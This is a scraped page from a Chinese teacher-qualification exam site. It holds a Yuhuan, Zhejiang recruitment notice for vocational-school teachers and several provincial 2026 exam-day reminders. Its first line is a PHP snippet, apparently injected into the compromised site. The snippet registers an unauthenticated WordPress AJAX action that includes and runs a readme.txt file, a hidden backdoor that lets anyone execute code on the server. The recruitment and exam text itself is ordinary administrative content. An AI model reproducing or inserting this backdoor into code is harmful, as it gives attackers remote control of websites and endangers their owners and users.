if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江玉环市2025年招聘中职学校专业课教师5人公告-全国教师资格考试网

浙江玉环市2025年招聘中职学校专业课教师5人公告

为加强玉环市中职学校师资队伍建设,改善师资队伍层次结构,提高师资队伍整体水平,经研究,决定组织实施公开招聘2025年玉环市中职学校专业课教师工作。现将有关事项公告如下:

一、招聘学校简介

本次招聘学校为玉环市中等职业技术学校,是首批国家级重点中等职业学校、浙江省一级重点职校、浙江省中职改革发展示范校、浙江省中职高水平学校和浙江省现代化学校。学校占地面积380亩,在校生5600人,是集“中等职业教育、成人培训、产学研联合体、社会公共实训”等为一体的现代化职业教育中心。

二、招聘计划

公开招聘中职学校全额拨款事业编制专业课教师5人,具体的招聘岗位、人数、学历和专业要求见下表。

可登录下列网站查询:

(一)玉环市人民政府门户网站(“玉环市人民政府”-“市人力社保局”-“法定主动公开内容”-“公告公示”专栏)

(http://www.yuhuan.gov.cn/col/col1229307084/index.html)

(二)玉环市人民政府门户网站(“玉环市人民政府”-“市教育局”-“法定主动公开内容”-“人事信息”专栏)

(http://www.yuhuan.gov.cn/col/col1229304949/index.html)

(三)微信公众号“玉环微教育”

其中,微信公众号“玉环微教育”为发布本次招聘信息的指定公众号。

三、招聘条件

(一)具有中华人民共和国国籍,遵纪守法,思想政治素质好,热爱教育事业,立志从事教育工作,事业心和责任感强。

(二)具有与履行招聘岗位职责相适应的专业知识水平、教育教学能力和身体心理素质。

(三)2023年、2024年、2025年普通高校本科及以上学历毕业生,其中国(境)外高校毕业生的毕业时间为2022年8月至2025年7月,非2025年毕业的须同时具备相应的学历证书和学位证书。

(四)所学专业符合招聘岗位所需的专业要求。

(五)年龄要求在35周岁及以下(1989年12月及以后出生),出生日期以公安机关发放的身份证登记时间为准。

(六)除上述条件外,还需符合下列条件之一:

1.硕士研究生及以上学历;

2.本科及以上学历期间,获得校级三等及以上学业奖学金(含应届推荐生);

3.本科及以上学历期间,获得校级及以上三好学生或优秀毕业生荣誉(含应届推荐生);

4.本科及以上学历期间,获得对应专业核心技能大赛省级二等奖及以上比赛成绩。

(七)有下列情形之一的人员,不得报考:

1.现役军人;

2.仍在普通高校就读的非2025届毕业的在校生 (也不能以原已取得的学历、学位报考);

3.与委培委托单位未解除培养协议的定向生、委培生;

4.被开除中国共产党党籍的人员、被开除公职的人员、被依法列为失信联合惩戒对象的人员;

5.曾因犯罪受过刑事处罚的人员、受到党纪政纪处分期限未满或者正在接受纪律审查的人员、处于刑事处罚期间或者正在接受司法调查尚未做出结论的人员;

6.在各类人事考试中被认定实施了考试作弊、弄虚作假行为且仍在限制报考期限内的人员;

7.国家和省市另有规定不得应聘到事业单位有关岗位的人员。

四、招聘程序

(一)报名

本次招聘采取网络报名和现场报名两种方式。

1.网络报名:报名时间为公告之日起至2024年12月23日。报考者须将相关报名资料(现场资格确认须提供的相关资料和所获荣誉证明等)电子版打包发送至指定邮箱yhszdzjx@163.com进行报名,邮件主题请标明“姓名+报考岗位”。一人限报一个岗位。

2.现场报名:与现场资格确认同时进行。

(二)现场资格确认

完成网络报名的人员和现场报名人员均须参加现场资格确认,是否具备考试资格以现场确认结果为准。未进行现场确认或现场确认未通过的,报名无效。

1.现场确认时间:2024年12月27日下午14:30-17:00。

2.现场确认地点:浙江工业大学屏峰校区仁和楼109室。

3.报考人员按“现场确认材料清单”(附件2)规定,携带相关材料进行现场资格确认。

4.现场确认通过人数不足招聘岗位计划数3倍的岗位,取消该岗位招聘计划。

(三)考试

本次招聘考试采用笔试、面试相结合的方式进行。考试总成绩中,笔试成绩占40%,面试成绩占60%。未按规定时间和地点参加考试的人员,视作放弃本次招聘。

1.笔试

(1)笔试时间:2024年12月28日上午,笔试地点:浙江工业大学屏峰校区,具体时间、地点以现场通知为准。

(2)笔试内容为本岗位对应的相关专业知识,满分100分。在笔试考生中按招聘岗位计划数1:3的比例从高分到低分确定入围面试人员,比例内最后一名同分的全部入围,不足比例的按实际人数入围。

(3)面试通知书领取时间和地点以现场通知为准。

2.面试

(1)面试时间:2024年12月28日下午,面试地点:浙江工业大学屏峰校区,具体时间、地点以面试通知书为准,考生须携带面试通知书和本人有效身份证参加面试。

(2)面试形式:采用“模拟上课+问答”形式,备课时间60分钟,模拟上课时间10分钟,问答时间3分钟。面试满分100分,其中模拟上课占比85%,问答占比15%。面试成绩保留小数点后两位,合格分为70分,不合格者不予聘用。

3.考试成绩

考生的考试总成绩=笔试成绩×40%+面试成绩×60%,保留小数点后两位。根据各岗位招聘计划数,在面试合格分数线上,按照总成绩从高分到低分的次序,等额确定拟聘用人员。若总成绩相同,以面试成绩高者排位在前,如面试成绩也相同,以笔试成绩高者排位在前,若各项成绩均相等,由招聘单位另行组织复试,复试成绩高的排位在前。

(四)签订就业协议

拟聘用人员在考试结束后2周内与玉环市教育局签订就业协议,否则取消拟聘资格。如考生放弃签订就业协议,在该岗位面试合格人员中按成绩从高分到低分依次递补。

(五)体检

1.体检工作按《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知》(人社部发〔2016〕140号)和《关于进一步做好公务员考试录用体检工作的通知》(人社部发〔2012〕65号)等文件规定执行。体检工作实施前,国家、省出台新规定的,按新规定执行。

2.体检时间另行通知,体检费用由考生自理。考生不按规定的时间、地点参加体检的,视作放弃体检。体检不合格的不予聘用。因考生放弃体检或体检不合格造成招聘岗位空缺的,不再递补。

(六)考察

1.考察参照《公务员录用考察办法(试行)》(中组发〔2021〕11号)执行。考察工作实施前,国家、省出台新规定的,按新规定执行。

2.主要考察被考察对象的德才表现和报考资格条件等,考察方式为查阅档案、了解在校期间表现等。因考生放弃考察或考察不合格造成招聘岗位空缺的,不再递补。

(七)公示

1.体检、考察合格的拟聘用人员将在玉环市人力资源和社会保障局和玉环市教育局的门户网站以及“玉环微教育”微信公众号上公示7个工作日,接受社会和群众监督。

2.对拟聘用人员在公示期间有异议的,由招聘主管部门按相关规定进行调查,对反映的问题一时难以查实的,暂缓聘用,待查清后再决定是否聘用。公示期间有异议经核实不具备聘用条件的,取消聘用,因此造成招聘岗位空缺的不再递补。

(八)聘用

1.公示无异议后,拟聘用人员凭毕业证书原件与玉环市中等职业技术学校签署正式聘用协议,按规定办理入编手续。被聘用人员必须在规定的时间内到聘用学校报到,无正当理由逾期不报到的,取消聘用资格。

2.拟聘用人员须在2025年7月31日前取得相应学历学位证书,其中国(境)外留学人员须在2025年8月31日前取得相应学历学位证书和教育部留学服务中心出具的国(境)外学历学位认证书,未能在规定时间内取得证书的取消聘用资格。

3.拟聘用人员须在2025年8月15日前取得相应的教师资格证,未能在规定时间内取得证书的取消聘用资格。

4.新聘用的教师试用期为1年,试用期考核不合格的,予以解聘。

5.新教师入编后须在玉环市中等职业技术学校服务至少6年(含试用期),否则将视为自动解聘,同时解除其正式在编身份。

(九)其他规定

1.报考人员在本次招聘的各个环节须随身携带本人有效期内第二代身份证。

2.严格按照中共中央组织部、人力资源社会保障部《关于进一步做好事业单位公开招聘工作的通知》(人社部发〔2024〕57号)规定,落实《事业单位人事管理回避规定》,与招聘单位工作人员有亲属关系的报考人员应当在报名时主动报告。

3.资格审查贯穿招聘工作全过程。报考人员在整个招聘过程中提交的所有材料应当真实、准确、有效。凡提供虚假信息和材料获取报考和聘用资格的,或有意隐瞒本人真实情况的,一经查实,立即取消报考及聘用资格。

4.考试违纪违规行为的认定和处理,按照《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令第35号)执行。

5.招聘要求所列的专业指学历证书上的专业名称,报考人员以学历证书上的专业名称填报专业。国内高校应届毕业生报考时以中国高等教育学生信息网的《教育部学籍在线验证报告》为依据,国(境)外高校应届毕业生报考时以教育部中国留学服务中心出具的国(境)外学历学位认证书或国(境)外学校学籍证明、就读证明为依据。

6.专业审查认定参考《2024年浙江省公务员录用考试专业参考目录》。专业名称仅有“和”“与”“及”“及其”等连接词的不同,或者仅有1个“学”字的差别,可视为同一专业;专业名称连接词的互换视为同一专业,但连接词增减不视为同一专业。

如报考人员所学专业不在所列专业范围内,但所学方向相同或相近的,应在《报名表》的“资格证书情况,系以上奖励、荣誉,和报考所要求的其他条件”一栏注明,并在现场资格确认时提交所学主要课程证明,由招聘单位研究决定是否通过审核。

7.本次招聘考试无指定教材或考试辅导用书,也未授权或委托任何单位和个人组织考试辅导培训。所有招聘学科、岗位数量、招聘办法均以公告内容为准。

8.应聘者在应聘期间请密切关注微信公众号“玉环微教育”的有关通知,并务必保持填写的通讯方式畅通,若不能正常联系的视作放弃报考资格。

本公告未尽事宜,由玉环市教育局负责解释。敬请广大报考者认真阅读招聘公告。

报考政策咨询电话:0576-87240815、87476606

监督电话:0576-81717025

 

招聘岗位、人数、学历和专业要求

1.玉环市公开招聘2025年中职学校专业课教师报名表

2.现场确认材料清单

3.应届毕业生证明(参考格式)

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部